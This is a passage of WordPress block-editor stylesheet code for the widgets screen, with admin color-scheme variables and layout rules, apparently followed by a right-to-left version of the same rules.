  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-right:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-right:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-left:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-left:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-right:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-left:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-left:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:300px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.wp-block[data-type="core/widget-area"]{margin-left:auto;margin-right:auto;max-width:700px}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{background:#fff;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;height:48px;margin:0;position:relative;transform:translateZ(0);z-index:1}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{background:#fff}.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{position:relative;width:auto}.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{max-width:100%}.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{margin:0;padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{margin-top:-48px;min-height:32px;padding:72px 16px 16px}.wp-block-widget-area__highlight-drop-zone{outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color)}body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{pointer-events:none}.edit-widgets-error-boundary{box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,.1px 11.5px 16.4px -.5px #00000026;margin:60px auto auto;max-width:780px;padding:20px}.edit-widgets-header{align-items:center;background:#fff;display:flex;height:60px;justify-content:space-between;overflow:auto}@media (min-width:600px){.edit-widgets-header{overflow:visible}}.edit-widgets-header .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{border-right:none}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.edit-widgets-header__navigable-toolbar-wrapper{align-items:center;display:flex;flex-shrink:2;justify-content:center;overflow:hidden;padding-left:16px;padding-right:8px}.edit-widgets-header__title{font-size:20px;margin:0 20px 0 0;padding:0}.edit-widgets-header__actions{align-items:center;display:flex;gap:4px;padding-right:16px}@media (min-width:600px){.edit-widgets-header__actions{gap:8px}}.edit-widgets-header-toolbar{gap:8px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{height:36px;min-width:36px;padding:6px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{background:#1e1e1e}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{display:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:12px;padding-right:12px}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{content:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.edit-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.components-panel__header.edit-widgets-sidebar__panel-tabs{padding-left:0}.edit-widgets-widget-areas__top-container{display:flex;padding:16px}.edit-widgets-widget-areas__top-container .block-editor-block-icon{margin-right:16px}.edit-widgets-notices__snackbar{bottom:20px;left:0;padding-left:16px;padding-right:16px;position:fixed;right:0}@media (min-width:783px){.edit-widgets-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-widgets-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-widgets-notices__snackbar{left:160px}}.folded .edit-widgets-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-widgets-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-widgets-notices__snackbar{left:0!important}.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.edit-widgets-layout__inserter-panel{display:flex;flex-direction:column;height:100%}.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{overflow:hidden}.edit-widgets-layout__inserter-panel-header{display:flex;justify-content:flex-end;padding-right:8px;padding-top:8px}.edit-widgets-layout__inserter-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-widgets-layout__inserter-panel-content{height:100%}}.edit-widgets-welcome-guide{width:312px}.edit-widgets-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-widgets-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-widgets-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-widgets-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-widgets-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-widgets-block-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;position:relative}.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{display:flex;flex-direction:column;flex-grow:1}.edit-widgets-block-editor .edit-widgets-main-block-list{height:100%}.edit-widgets-block-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{padding:6px}.edit-widgets-editor__list-view-panel{display:flex;flex-direction:column;height:100%;min-width:350px}.edit-widgets-editor__list-view-panel-content{height:calc(100% - 44px);overflow-y:auto;padding:8px}.edit-widgets-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:16px;padding-right:4px}body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{background:#fff}body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{display:none}body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.blocks-widgets-container,.components-modal__frame{box-sizing:border-box}.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{box-sizing:inherit}@media (min-width:600px){.blocks-widgets-container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.blocks-widgets-container{min-height:calc(100vh - 32px)}}.blocks-widgets-container .interface-interface-skeleton__content{background-color:#f0f0f0}.blocks-widgets-container .editor-styles-wrapper{margin:auto;max-width:700px}.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{display:none}.js .widgets-php .notice{display:none!important}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-left:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-left:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-right:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-right:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-left:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-right:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-right:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:300px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.wp-block[data-type="core/widget-area"]{margin-left:auto;margin-right:auto;max-width:700px}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{background:#fff;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;height:48px;margin:0;position:relative;transform:translateZ(0);z-index:1}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{background:#fff}.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{position:relative;width:auto}.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{max-width:100%}.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{margin:0;padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{margin-top:-48px;min-height:32px;padding:72px 16px 16px}.wp-block-widget-area__highlight-drop-zone{outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color)}body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{pointer-events:none}.edit-widgets-error-boundary{box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,-.1px 11.5px 16.4px -.5px #00000026;margin:60px auto auto;max-width:780px;padding:20px}.edit-widgets-header{align-items:center;background:#fff;display:flex;height:60px;justify-content:space-between;overflow:auto}@media (min-width:600px){.edit-widgets-header{overflow:visible}}.edit-widgets-header .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.edit-widgets-header .selected-block-tools-wrapper 